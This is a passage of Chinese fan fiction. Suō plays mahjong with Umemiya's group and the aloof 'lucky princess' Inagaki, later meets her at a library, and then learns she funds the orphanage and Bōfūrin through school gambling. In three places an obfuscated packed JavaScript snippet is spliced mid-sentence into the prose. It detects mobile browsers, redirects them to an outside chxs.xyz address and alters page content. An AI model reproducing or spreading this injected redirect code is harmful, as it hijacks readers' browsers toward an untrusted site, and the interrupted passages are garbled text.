榆井:“我也不会,我可以和樱同学在旁边打电动。” 琴叶:“不许在我店里打牌,要打出去打!!” 梶:“我不参加。” 众人的目光顺势移到苏枋身上。 苏枋斟酌了一下:“我……会一些。” ——三缺一的救世主啊!梅宫的眼睛都亮了。 最后,在梅宫的胡搅蛮缠、软磨硬泡下,雀局还是在绿萝咖啡馆里摆开了。 梅宫和稻垣坐对家,稻垣上家是柊,下家是苏枋。为了相对公平,众人商定,稻垣不许从别人手里荣和,哪怕有人点炮也不行,她只能自摸;明天还要早起上学,今晚时间有限,只打半庄,各家25000分起手,一旦有一家分数为负,牌局立刻结束。 东风场1局是柊坐庄。第一巡,柊刚打第一手,苏枋二话不说直接开杠。 稻垣愣了一下,眼见苏枋把那张六索运过去,翻了杠宝牌指示牌,摸完岭上牌又随手打出一张二万——无事发生。她终于正儿八经抬眼看他,见苏枋一副淡然自若的态度,忍不住满腹狐疑地询问:“你这大明杠是……?” “防一手地和。”苏枋莞尔。 梅宫当场笑喷。柊扶额摇头。稻垣无语了。 “没必要,地和哪是说来就来的。”“毕竟是东风场,算是我对身为正东风强运姬的稻小姐的尊重吧。” “……那还真是谢谢了。”“客气。” 杠归杠,苏枋发现自己今晚牌运差得够可以的,配牌起手无一例外五向听、六向听,做牌困难重重,被迫不断改听,防守时净抓炮张——是因为坐在稻垣下家吗?坐上家的柊跟他半斤八两,倒是坐对家的梅宫还能时不时立直报听,和个一番二番的。 原来这就是正东风强运姬在东风场的统治力啊。苏枋第一次有了切身体会。 东风场的稻垣果真如榆井所言,十分强势,东2局坐庄后毫不含糊地开始连庄,一路赢到了5本场,越胡越大,搞得梅宫和柊苦不堪言。 梅宫哭天抢地:“喂喂喂,你俩赶快想想办法啊,再让小稻赢下去,我们没出东风场就要三家一起被击飞了啊!” 柊毫不客气地吼他:“你还想在东风场赢她,你不如现在去洗个澡躺下睡觉就地做梦!我都说了这种必然被她一个人赢全场的牌有什么好打的!你还规定她只能自摸,那结果当然只能是三家一起被飞啊!!” 稻垣事不关己地端起水杯:“能再帮我添点水吗,谢谢。” 梶坐在旁边一边划手机一边伸手拎起水壶看也不看就帮她倒满了。 苏枋失笑,摇了摇头,温柔叹气:“好吧好吧,舍己为人。” 他老道地拈起一张一索,轻飘飘推出去,放给梅宫。 梅宫瞪大了眼睛,立即跳起来把牌一推:“噢噢噢我和了!平胡全带幺宝牌2,满贯!” 柊有些另眼相看了:“苏枋,你猜得出梅宫听哪张啊。” 苏枋很谦虚:“我牌听得比较差嘛,所以观察得更仔细一些。” 其实梅宫做牌做得太明显了,仗着稻垣不能捉炮,炮张满地乱扔,根据牌河推算一下,很容易就猜到他在单钓一索。 “谢啦,不愧是苏枋,超可靠!”梅宫接过苏枋的8000分点棒,笑得跟傻子一样。 “要一年级生给你点炮才能赢,你有什么好高兴的啊……”柊把嫌弃明晃晃地写在脸上。 “放心吧,就算我不点给梅宫哥,稻小姐也没法继续连庄了——稻小姐是在单钓三筒吧?”苏枋看向稻垣,指尖缓转,笑着亮出自己手里的三筒对子,“剩下两张都在我这里哦。”——他早巡就摸到了,一直扣着不卸牌,多少骗了稻垣一手。 话又说回来,在只允许自摸的情况下,还敢单钓只剩两张的牌——苏枋对稻垣的自信心又有了新的认识。 稻垣余光乜了苏枋一下,语气凉凉点他一句:“牌不好,还净搅。” “物尽其用。”苏枋很礼貌。 东风场剩下两局,稻垣火力全开,连续两把快攻速和,好巧不巧地,都是苏枋上一巡刚舍掉的牌,下一巡就被稻垣从牌山里抓出来自摸。 结算的时候,稻垣收起苏枋递来的点棒,似笑非笑地回敬:“物尽其用。” 苏枋噎了一下,转头一派天真地问柊:“哎,柊哥,我这是被针对了吗?” 柊不愿理睬,默默吞了一片胃药。 梅宫看待这个问题就很乐观——是旁人想不到的角度:“第一次和小稻坐一桌就能遭到针对,说明你很厉害啊苏枋,前途无量!” 说得跟什么光荣的事似的。苏枋觉得好笑,嘴上还是说得圆乎:“哪有,我这不是一把都没和过吗?” 进入南风场,那股沉甸甸压着人的统治感终于稍微变薄,柊开始坐庄和牌了——稻垣和苏枋的炮捉不到,梅宫的炮他还不是一捉一个准吗,这人可是不懂防守、为了听牌什么危险牌都敢闭着眼睛往外扔的超级大傻子啊! 梅宫连续点了三把,哀嚎个没完。 而苏枋的配牌依旧很差,他心说真被针对了啊——然后决定变本加厉针对回去。 苏枋很豁达,打牌信奉一个快乐主义,牌差赢不了无所谓,能搅和就行——当不了和牌收分的赢家,那就当一根平等地找所有人乐子的搅屎棍。人得活在当下嘛,和朋友打牌,输赢只是形式,交流感情才是最重要的本质。 苏枋一边观察牌河,推测梅宫和柊的牌形,一边频繁鸣牌打乱稻垣摸牌的节奏。稻垣不堪其扰,被苏枋闹得没脾气;在苏枋冷不丁又杠了她一手后,稻偏过脸来,不轻不重瞪他一眼。 她眸子里绿意幽深,喉软骨微微起伏,好听的嗓音吐出难听的字眼,声音极其轻微,口齿故意开合得稍有含糊:“杠精。” 苏枋眨眨眼睛,回以无辜的微笑:“嗯?您说什么了吗?” “说你这人爱找茬(揚げ足を取る人って)。”稻垣收回了目光。 南1局,到了第十巡,柊终于在梅宫锲而不舍的挤眉弄眼、疯狂暗示下,挥挥手放铳给他,让梅宫和了一把三色同顺。梅宫高兴得手舞足蹈,柊完全不想理他。 苏枋单手在桌子下面把玩着自己仅剩的1000分点棒,浅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059606|162961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浅打了个哈欠。 前面东风场打得太久,时间也晚了,大家都有些疲劳,似乎是为了体贴三家败犬,稻垣选择快刀斩乱麻——游戏不出意外地在南2局快速结束了,仅仅三巡,她就自摸和牌了。摸到第二张三筒时,她特意转手亮给苏枋看,意思是有仇当场就报了;苏枋无可奈何,把点棒放在桌面上,举手示意投降。 她微勾的眼尾流露一丝志得意满,寂静的面容顿时变得璀璨夺目起来。她转过头,心情很好地问他:“名字叫什么来着?” “苏枋。”苏枋故作失望,“稻小姐果然没记住啊。” “现在记住了。”稻垣一点不愧疚,笑得很张扬,把牌一摊,“门清自摸,断幺,宝牌1——下家击飞,结束回家吧。” 柊把已经在沙发上困得打瞌睡的樱和榆井一手一个捞起来扛走,梅宫和梶负责送稻垣还有琴叶回家,苏枋站在原地目送。 梅宫亲昵地揽着稻垣的脖子跟她夸耀:“怎么样小稻,我的平全带做得漂亮吧!”稻垣漠然地回答:“不是人家点炮给你,你才赢的吗——明眼人都看得出来,牌山里那时候已经没有一索了。梅要靠自己和大牌,恐怕得等下辈子了吧。”梅宫痛心疾首:“好刻薄!不要对大哥说这么刻薄的话啊!我会伤心的!!”琴叶怒敲梅宫后脑勺:“吵死了,你知道现在几点吗?!也稍微有点大哥的样子好吧!”梶走在前面懒得插话。 滋儿哇儿一阵后,四个人渐渐走远,谈话的声音也渐趋模糊。 “小稻,和我们打牌还是开心的吧?”“嗯。” “这次会住久一点吧。”“嗯。” “太好啦,你回来,大家可是很高兴的。”“嗯。” “风铃一年级的弟弟们找机会介绍给你认识,都是很可靠的好孩子哦。你要跟他们好好相处啊——别老是冷着脸,笑一笑,多笑一笑!我们小稻笑起来可是超级好看的女孩子啊!” “我没有吧,有笑啊。”“不是那种阴阳怪气嘲讽的笑!” “好吧。”稻垣清澈薄透的嗓音染上微弱的、温和的笑意,宛如蝴蝶经过时,残留在金枝上闪闪发光的鳞粉。 “梅,放心。”她信誓旦旦,“我会和他们好好相处的。” 最后这句感觉是在撒谎呢。 苏枋背着手站在原地吹了会儿风。 今晚好歹让她记住自己的名字了——不过,有必要这么做吗?好像也没什么意义。 就算她今晚记住了,也许明天一觉睡醒就忘了。 只是陪着打了一晚上雀牌,也没找到机会问问她,初见时的打量究竟是什么意思。 毕竟要和稻垣独处太难了,她身边有梶寸步不离地守着。 要在上下学的路上找机会截胡吗?挑梶要巡逻走不开的时间就行——不了吧,有那闲工夫,还不如多和朋友喝杯茶聊聊天或者独自出门散个步。 或者在绿萝咖啡馆偶遇呢?她跟琴叶关系应该不错,樱又喜欢吃琴叶做的蛋包饭。 可自己又不外食,专门跟着去就怪尴尬的。 何况就算碰到了,在绿萝也很难找机会和她单独说话。 苏枋左思右想,心里小念头冒了无数,又一一否定压下去,好一会儿过去,愣是没给自己找出一个有说服力的理由再去接触稻垣。 有点失望,又没那么失望。挺奇怪的。 因为可有可无吧。他下了个结论。 终归是泛泛之交罢了,太上心了就不值当。 5. 如见故人 苏枋原以为没什么机会再跟稻垣打照面了,没想到去公共图书馆时意外偶遇了。 时间是周日的中午,图书馆本来就没几个人,但苏枋看见有四五个看上去是国中生的男女围在休息区的沙发边,对着手里抱着软垫、胸口盖着书本毫无防备地合眼睡过去的少女窃窃私语、惊叹睡美人的美貌时,还是感到气不打一处来。 梶呢,这时候跑哪去了,他怎么敢让稻垣一个人在这种地方睡午觉的? 还有稻垣也是,在公共场所睡过去也太没常识了,她对自己会惹来什么麻烦真是一点自觉都没有。 苏枋并非冷漠无情的类型,平时也算日行一善,乐于助人;而唯独此刻,他明确地预感到,眼前有个大麻烦在向他招手,潜意识里转身想走,练家子出身的警觉告诉他最好趁事情没搞大之前离这一幕远远地。 但是苏枋没这么做。因为他知道,离开祭司守护的金枝离毁灭不远,一定会有毫无自知之明又怀揣非分之想的人前仆后继试图攀折。 围观的人当中,有一个戴眼镜的男生似乎是小团体的中心人物,他小声提议:“把她叫醒吧?再怎么说睡在这里也不太好,容易感冒的。” 他身边的男孩女孩有的点头有的摇头,有的跃跃欲试有的避之不及,但眼里都有几分闪烁其词的期盼和渴望——睡美人若是被唤醒,他们大多乐见其成,因为这样就能窥望她美丽的眼睛;至于睡美人醒来后发生的那段绮丽的因缘际会属于谁——倒也不是所有人都那么掂不清分量,自认足以成为这般奢华故事的主人公。 遗憾的是,这个世界上本就是聪明人少,愣头青多。 苏枋不耐烦地吐出口气,悄无声息上前,侧身切进几人之间的缝隙,一把扣住男生小心翼翼伸向稻垣肩头的手,向后一拽。 “噫……唔!”苏枋腾出一只手捂了一下对方的嘴,露出一个温和无害的微笑,竖起手指示意他噤声。 他把人稍微拉远了一些,松了手背到身后,轻声说:“能不能请你别这么做呢?我家姐姐睡觉的时候不喜欢被人打扰,弄醒她会被发脾气的哦。” “啊,原来有家人在啊——十,十分抱歉……!”男生立刻鞠躬道歉。 啊,居然就这么相信了——一点都不怀疑呢。苏枋就挂着那种密不透风的客气的微笑打量他。这种打量不包含任何探究的意图,苏枋对面前这个老实巴交的国中生毫无兴趣——苏枋知道,自己此刻的目光更接近威慑,只不过他态度温柔,没打算吓着别人。 男生还是被他看得冒了汗,语无伦次起来:“请相信我,其实,那个,我保证我没有恶意……!” “当然,我相信你呀。”苏枋随口安抚他,“你别紧张。” “我可以在远一点的地方等姐姐醒过来再来找她吗?”男生局促地搓弄袖子。 苏枋挑了挑眉。 “想认识一下您家姐姐,要是,要是可以的话……” 受不了,自说自话地,在叫谁姐姐啊。 “那是你的自由呢,请便。”苏枋轻笑着回答,连一句不见棺材不落泪的劝告都欠奉——开玩笑,他又不是梶,没义务帮稻垣挡烂桃花,咸吃萝卜淡操心。 他的回答收获了一个感激涕零的注视。 苏枋眼角抽搐了一下。 苏枋回到沙发边,感受到周围若有若无的视线,面上不显,心下更加烦躁地叹了口气。他脱了轻薄的绢丝外袍,盖住稻垣长裙下一小截光裸的小腿和脚踝,顺手捡走她盖在脖子上那本书,抽出天头脊上的书签带往翻开那页一夹,在沙发另一端坐下来。 围观的人见势散去,一步三回头,对着在远一点的桌子边坐下来的男生无声地起哄加油。 苏枋低垂视线,眼不见心不烦。 将书翻回到第一页,苏枋就被书名晃得眼疼。他眯着眼睛,拼了两次才把那一长串片假名读明白:陀思妥耶夫斯基诗学问题研究。 什么乱七八糟的?她看这个干什么。 苏枋皱眉看过去,稻垣一只手放在腹部,另一条胳膊展开垂落下去,手正好搭在堆在沙发边的一摞书上。苏枋弯腰去看,发现涉猎范围杂得吓人:认知派语言学、民俗学、政治经济学、经院哲学、档案情报学,还有高分子材料化学和环境学的几本研究论著。 这都是些什么东西,她看得完吗? 苏枋也懒得再起身去找想看的书,硬着头皮开始读手里这本诗学研究。 搁在不良少年里,苏枋绝对算是看书看得多的,不然也不会得空到图书馆里来,可手里这书着实看得他头晕想吐。苏枋看了三十来页,总算勉强搞明白:这本书叫诗学研究,研究的其实是小说;虽然陀思妥耶夫斯基也写诗,但这本诗学研究,研究的确实是小说。 他抬手摁了摁眉心,心想要不先去把《卡拉马卡佐夫兄弟》找来读一下算了——要命,光看名字都觉得这书很重啊。 这时,苏枋身侧堆叠的布料滑动了一下。 稻垣睁开了眼睛,一脸茫然地起身,看见苏枋,更是愣住了。 “醒了呢。”苏枋皮笑肉不笑。“……我睡着了?”她看上去还在梦游。 “是啊,在图书馆里,就这么睡着了。”苏枋拿话点她。“抱歉,昨天搬家整理东西熬夜了……”稻垣老老实实道歉,揉了揉额头,顺手掀起刘海整个往后捋,头发还是一丝不苟,眉眼间的懒怠和随性垂落的发丝又显得风情万种,“给你添麻烦了?” 苏枋想了想,问:“我是谁?”她皱眉:“苏枋?”“答对了,还算清醒。” 稻垣嘴唇动了动,感觉是想骂他但忍住了。 苏枋终于恢复了往常的态度,压低声音问:“梶哥怎么没陪稻小姐一起来呢?” “梶也有自己的事要做,也不能什么事都麻烦他。啊,”她终于回神了似的,直起腰来凑近苏枋,“你别告诉梶他们我一个人出门了——我一直跟他们说我没事就在家里不出去的。” 敢情是个撒谎精。苏枋没回答。稻垣双手合十,难得讨好道:“拜托。” 苏枋转开脸——他嫌麻烦,不情愿当稻垣的共犯,直觉告诉他,帮稻垣保守秘密的人就跟垂涎她美貌的人一样没有好下场。 “苏枋——”她轻轻叫他,不依不饶。苏枋一怔,感觉到她的气息陡然靠近,一片极为稀薄的、泛着苦味的楝花香弥漫开来。她随手把他的外套沿着缝线叠了然后卷起,递到他怀里,浓绿的眼眸自下而上望着他。 苏枋接过自己的外套,意外她怎么会注意到丝绸面料的衣服要用这种不留褶皱的叠法。 他问:“稻小姐从琴叶小姐家里搬出来了吗?” 稻垣知道苏枋是同意不说出去了,语调都变得轻盈不少:“嗯,昨天刚搬完家,顺利独居中——不过我不会邀请男孩子去我家里玩哦。” 苏枋没料到她会说这样的俏皮话,一阵好笑:“我可没说要去。” 他大概知道她住在哪里了——这一带,也只有那条小街上种了楝树。时值暮春,正是苦楝开花的季节。 苏枋余光一扫,瞥见来人,蓦地改口:“对了,稻姐姐——”吓得稻垣眼皮一跳。 他抬了抬下巴示意:“有人找。”稻垣转过身,收敛了所有小表情,疑惑又礼貌地望着对方,但也不出声,她是不可能纾尊绛贵先开口的。 戴眼镜的国中生支支吾吾半天,才捋直了舌头,请稻垣跟他去门外交谈——总是在阅览室内说话会影响到别人;稻垣环顾四周,也没见到几个人,仔细一看,又注意到书架和远一些的桌边有人在盯着这里。 她抿了嘴唇,眉眼间漫上了隔膜似的雾气,姿态优雅地起身,理了理衣襟和袖口,十指松松地交扣在一起:“走吧。” “好的!”得到独处机会的男生脸色肉眼可见地变红了。 “啊——”稻垣忽然改变主意,伸手拽起了苏枋,“我弟弟得一起。” “欸?!”小男生脸色立刻由红转绿。苏枋也被她这一手搞蒙了:“拉我做什么……” 稻垣一本正经地胡说八道:“抱歉呀,我这个人从小就有陌生异性眩晕症,没弟弟在旁边陪着容易被别人吓昏过去哦。” “原来……原来如此!” 又信了,不带一点怀疑地。苏枋服了。怎么这世上有人比樱还好骗。 来搭讪无非就是几句顾左右而言他的廉价赞美,紧接着问名字和要联系方式。稻垣猜到了,于是更加不耐烦。正东风镇上还有人不认得她?看来她过去一年确实回来得少了些——苏枋说得对,她应该叫梶陪她出门的,这样可以省去很多麻烦,她讨厌被没有意义的人和事浪费时间。 她面上依然和颜悦色地注视着对方,心思却已飘出去很远,甚至不屑分出一丁点精力来表达嫌恶和拒绝。 稻垣很快拿定主意,问道:“你知道风铃高中吗?”“啊,我听说过,是商店街那所男高吧?传闻是偏差值最低,不良遍地、到处打架惹事的学校……” “没错。”稻垣干脆地点头,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059607|162961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指苏枋,“我家弟弟就是风铃一年级多闻众的副级长。” “什么?!”国中生大惊失色。 “这样吧,要是你能在我弟弟手里挺过三招不喊痛,我就给你我的联系方式——不过你给我发消息,我也不会回就是了。” “稻姐姐,你把我当什么了啊?”苏枋站到她身边,话里有话地问。稻垣掸了掸袖子,心安理得退后两步:“可靠的男人——去吧,交给你收拾了。” 苏枋摇摇头,对上瑟瑟发抖脸色煞白的国中生,宽慰道:“抱歉啊,我家姐姐就是这种恶劣的个性——怎么样,现在放弃也不失为明智的选择哦?” 国中生咬着唇嗫嚅片刻,哆嗦着问:“三,三下……忍住痛不喊就可以吗?” 苏枋哽住。稻垣看戏。 “我会努力的!为了姐姐!”他摘下了眼镜,握在手里。 都说了出门在外不能随便叫姐姐啊。 苏枋无奈地摆摆手:“放松,别害怕,不会痛的。” 苏枋一步上前,直接伸手在男生后颈某个位置轻轻一捏。男生当即抽搐了一下,不受控制地发出一声变调的怪叫,吓得他自己都捂着脖子嘴巴紧闭,难以置信地瞪着苏枋。 “你看,不痛吧?我没骗你呀。”苏枋笑着一合掌,“好了,你叫出声来喽,姐姐的联系方式不能给你了,真可惜。” 确实可惜。 又一个勇敢的人试图越过那公认的距离,反被推出了那么远,再也没有机会了。 苏枋垂下了目光,不去看那孩子沮丧的背影。 等人走远,苏枋回身,不客气地指责道:“梶哥不在就让我来处理烂桃花啊,稻小姐也太会使唤人了。” 稻垣一副理所应当的口气:“反正都是梅可靠的弟弟们,稍微让我差遣一下也没关系吧。” 好厚的脸皮。苏枋不想搭理。 搭讪事件落幕后,稻垣就打算回去了,走之前顺便办理借阅手续。看着那一摞书,苏枋本着好人做到底的心态,提出送她回家,稻垣欣然应允——苏枋立马反应过来,她看准了他会送她才决定一次借这么多本。 这大小姐性格是真的差啊,怎么做到对第二次见面的人这么颐指气使的。 “稻小姐看的书都好艰涩。”苏枋看着她将那些书一本本装进背包里,塞得鼓鼓囊囊。 稻垣如此解释:“随便看看而已——比起让脑子里塞满垃圾信息,还是宁可看点有意义的东西,尽管都是些用不上的知识。” 苏枋从她手里把包接过来,不置可否,还是不懂她脑子里到底装了些什么东西。 那条种着楝树的小街距离商店街不远,到图书馆有十五分钟脚程。 这下终于独处了。 “对了,有件事,我想问问稻小姐。”“说。”“初次见面的时候,稻小姐有打量过我吧?” 她没接茬,那就是默认了。 “那为什么之后又有意回避和我对视呢?” 稻垣沉吟道:“因为被第一次见面的陌生人那样盯着看,一般都会觉得冒犯吧。” 听到这个答案,苏枋愣了一下:“……稻小姐是觉得冒犯我了吗?”稻垣坦然地点头:“嗯,对啊。” “真意外……稻小姐明明不像是在意这些细节的人呢。”稻垣不以为然:“我不是不在意,只是并非每时每刻都有必要注意罢了。”苏枋笑了:“双重标准呢。”遭到反问:“对啊,不行吗?”苏枋觉得这话难接,只好妥协:“好吧,是稻小姐的话,的确也不是不行。” 苏枋尽管反感,但也不得不承认,美貌本身就是横行霸道的资本。 一段沉默后,苏枋又把话题拉了回去——这方面他一向警醒,不会轻易让人带跑偏:“还是那个问题,稻小姐为什么打量我呢?您在我身上寻找什么?” 稻垣好像并不怎么防备,真当他是在随口闲聊:“因为……苏枋给我的感觉很熟悉。” 苏枋停下了脚步。稻垣迈出去几步,在昼日的白光里回过身来,茶棕色的长发散开在风里。 暮春的空气中又飘起苦楝的淡香。 “单纯是种感觉罢了。别误会,我们那天的确是初次见面,我不是在跟你套近乎——不如说正是因为不想被这样误会,我才刻意不再看你的,希望你别介意。” 她望着苏枋,神情寡淡,又浇灌了难言的哀愁。 “只是我当时确实产生了这样的感受——见你如见故人,总觉得好像已经认识你很久了。” 6. 防风铃ATM 正东风强运姬回到镇上长住这件事,还是引起了不小的波澜。 苏枋甚至不必刻意打听,也每天都能轻松知晓她的动向。今天去绿萝咖啡馆小坐了,明天在仙人掌面包店买面包被送了比付的钱还要多一倍的尝鲜样品之类的……凡此种种,都是琐碎的日程和小事;若是稍微留神,在教室窗边和走廊拐角支着耳朵听一听,还会获知更多不为外人道的秘辛。单单凭借同学闲谈间听来的信息,东拼西凑一番,苏枋居然把稻垣的履历大概勾勒出来了。 她从小博闻强记,脑子非常好使,明明儿童养护设施的教育资源很一般,后来又和一群不良少年做伴,却极有读书的天分。她被镇上稻荷神社的巫女捡到,送到养护设施时8岁,测试结果显示已经具有国中生的学力水平——但设乐老师不建议把她直接送去读国中,她又嫌国小的课程太幼稚,不愿意去,便在设施里留了几年。13岁那年,稻垣被白金台女中破格录取,毕业后,考上了东京私立百花王学园高等部的特别招生名额,入读这所神秘的名门高校。 这开了挂似的升学经历还不算什么,在她带着梅宫一以“三天六地、国士无双”的战绩杀穿地下街的赌场一夜成名、获得“强运姬”这个名号之前,稻垣不梦也早就是镇上的名人了——谁都知道儿童养护设施里供奉了一朵只可远观的高岭之花,在梅宫一干人等的悉心爱护下长大,出落得端方妍丽。 早几年,出于各种各样的意图提出过要短期或正式收养稻垣的人不在少数,全都被梅宫和柊他们私下里通过各种手段摆平了,有的很礼貌,有的稍嫌血腥。 最后一个试图通过收养或者资助手续把稻垣不梦纳为己有的人,是在稻垣入读白金台女子中学的第一年出现的。那个人在港区散步时遇到了放学后独自乘县营巴士回正东风镇的稻垣,几番接触下来,提出了收养申请,并通过了儿童咨询处和儿童福利审议会的资格审查。他说稻垣一个小女孩每天要坐这么久的车上下学太辛苦了,他可以把她接到东京,和自己的太太一同照顾她;他与妻子结婚多年,没有孩子,愿意给稻垣一个家。那个男人风度翩翩、很有教养,摆在面上的家庭条件和各方面资质也十分优渥,设乐犹豫再三,几度在对方的殷切恳谈下险些松口。 然而梅宫和柊商量了几次,总觉得对方纠缠太过,态度没有大问题却屡次三番在细节处表现出经不起推敲的可疑,因而迟迟没有同意——结果,经过一番掘地三尺的跟踪蹲点调查,发现对方的资料和履历都是伪造的,连妻子都是临时雇人扮演,实际上是个独居无业有猥亵幼女前科的恋童癖,靠拉皮条和帮□□放高利贷为生,完全是靠贿赂通过了资格审查。梶得知后,直接把人肋骨一根根全部打断,最后报警送进了抢救室——这件事闹得很大,对方又有背景,最后掏了一笔巨额赔偿才摆平;不过有一个好处是,自此以后没人再敢打稻垣的主意。 大家都对此有了深切的体认,在梅宫一等人的庇护下,稻垣不梦不会属于任何人——在攀折高岭之花这件事上,人人平等,平等地没有机会。梅宫他们身体力行地告诉所有觊觎稻垣的人:这个女孩无父无母却并非没有依靠,纵使她的美貌怀璧其罪,谁也别想越过梅宫一染指这朵开在峭壁上的花朵。 少女年华正好,爱美之心人皆有之——容许窥望,不可伸手,伸手必被抓,抓了要挨打。 稻垣毫无疑问是在众人的爱重中长大的——可是为什么呢?仅仅因为聪慧和美貌吗?苏枋百思不得其解。毕竟稻垣这个人性格挺烂的,一副骨相两副面孔,对内对外双重标准,稍有不顺意说话就很难听,不知道怎么宠出来的颐指气使的大小姐脾气,言行举止都是彻头彻尾的自我中心——要不是她天生一张好看的脸,就冲那种动不动就看不起人的德性,早不晓得遭人毒打多少遍了。 漂亮的皮囊总是浅薄,头脑或许是加分项,但仅仅如此,是不足以让她和梅宫他们的关系演变成今天这种局面的——苏枋看得出来,梅宫和柊是真心把稻垣当妹妹疼爱的,稻垣回到东风镇,他们打心底里高兴,哪怕他们深知这是个行走的大麻烦。 苏枋若无其事地开口:“榆君,说起来我有件事挺在意的。”榆井接话:“嗯?什么事?” “我周末在公园那边看见稻小姐和设施的设乐老师了,他们在公园长椅上谈什么事情的样子。”“欸——”“我看见稻小姐给了设乐老师一个茶色信封。”“信封?然后呢?”“设乐老师一开始想拒绝,最后在稻小姐的坚持下收下了——设乐老师还一脸愧疚。”“噢——”“榆君觉得,这是怎么回事呢?” “肯定是钱吧。” 榆井直白的态度让苏枋险些噎住了:“为什么一个高中生要给老师钱?这不是很不合理吗。”榆井歪了歪头:“哦,苏枋同学不知道这事啊……稻姐姐不是一直自称‘防风铃提款机’吗?” 这时,樱在旁边拉开凳子坐下,胳膊往榆井身后的椅背上一架:“我那天就想问了,提款机是什么啊,哪有人管自己叫ATM的——稻垣很有钱吗?” 榆井一本正经道:“对,稻姐姐超有钱。” “哈?她在哪里打工啊?”樱皱了皱眉,已经冒出不好的预感。 养护设施里长大的女孩——普通打工的工时和时薪是有上限的,她要怎么才能做到“超有钱”?要论漂亮的女高中生弄大钱的渠道,那岂不是…… 榆井语出惊人:“稻姐姐是用赌的。” “赌?”苏枋一惊。“什么?”樱也吓了一跳,第一反应是幸好不是什么夜店陪酒、援助交际,转念一想——赌博也没好到哪去啊,这是犯法的吧?! “稻垣那家伙不是才高二吗,没成年啊,不能进赌场吧?” 榆井摇头:“不,樱同学误会了,稻姐姐不是去赌场,而是在学校里赌的——百花王,就是稻姐姐考上特招的那所高中,就是那么个地方哦。” 苏枋和樱都露出了惊疑不定的表情。见状,榆井便翻着自己的笔记本同他们侃侃而谈。 私立百花王学园拥有122年的建校史,是一所云集了当今财阀和政界名门子女的贵族学校。这所高中有一个特殊的传统:在百花王,决定学生之间地位高低的,既不是偏差值也不是体育水平,而是赌博技巧——资金、头脑、情报分析,以及在关键时刻做出正确决策的个人能力,集合了所有这些素质,并将其在层出不穷的极端条件下最大化、不断磨练的应用场景,就是赌局。 “具体的我也不是很清楚,稻姐姐说,在百花王,学生之间的赌局只要双方同意且有荷官在场,就视为成立,赌注和玩法都可以自由决定——可能是因为那个学校的学生都是未来左右国家发展的精英一代,所以培养方式比较不同平常。” 樱听得一愣一愣地:“所以,稻垣是通过赌局,在那所学校里赚那些名门少爷小姐的零花钱吗?” “可以这么理解……”榆井笑笑,“不过稻姐姐说,她那些同学手指缝里漏下来的都够设施的孩子们一个月的加餐费用了,所以她靠着自己的强运赚得非常多呢——事实上,设施的孩子有好几个比梅宫哥年纪还要大一些的,读完高中过后上了私立大学,学费和生活费除了国家补贴和自己打工,其余部分都靠稻姐姐出资援助;稻姐姐就是看中了百花王特殊的传统,才专门去考那所高中的特招名额的。” “哈?她一个高中生在那种奇怪的学校里赚钱,为的是去援助大学生?”樱觉得这更不可理喻了。 “因为儿童养护设施这些年能拿到的财政补贴越来越少了,收容的孩子年纪大了也没有去到合适的家庭。可是,稻姐姐很支持大家的学业,她说只要学力和偏差值够得上,就应该不惜一切去东京那样的大城市读大学,那样才能过上更好的人生——钱不用担心,全部由她来想办法。 “顺带一提,稻姐姐的资助范围不局限在设施收养的孩子,镇上条件比较差但学力水平很高的高中生都通过设乐老师介绍接受她的援助,虽然大部分是以无息贷款的形式啦——按 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059608|162961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 照约定,他们毕业就职以后都要慢慢还给稻姐姐。 “另外,不止设施运营和资助大学生的钱,防风铃的日常活动用得到钱的地方也不少呢,比如打架弄坏的设施要修复、物品需要赔偿……帮助街区邻居解决实际困难,很多情况下也需要钱,大家平时很难注意到这些隐形的资金需求吧?因为这些财物,全部由稻姐姐提供了,梅宫哥从来不需要为此发愁。因为稻姐姐很尊敬梅宫哥,也支持他做的事,所以在金钱方面是从不吝啬的。” “这,这也太……”樱想说这也太厉害了吧,可他想起稻垣那天和她猜拳时的轻蔑眼神,又别扭了一下,没说出口。 “等一下,榆君。”苏枋发现了这中间存在的问题,“稻小姐去百花王也不过就一年多的时间,可是由于财政问题,设施运营困难已经很久了吧?防风铃的资金姑且不论,这中间岔开的几年呢,稻小姐去哪里弄钱补贴?” 听到苏枋这么问,榆井眼睛一亮:“阁下问得好!这就不得不说起,正东风强运姬血洗地下街,一战成名的那个晚上了!” 樱瞪他:“你说话方式好怪,能不能正常一点。” “咳咳,我之前提过,稻姐姐有‘三天六地、国士无双’的传说吧?”榆井像是同很多人讲过这段故事一样,轻车熟路娓娓道来,“阁下可知,京成街往北,有一条地下街,店面普普通通,但实际上暗藏玄机——” 樱再度打断他:“都说了你给我正常一点!” 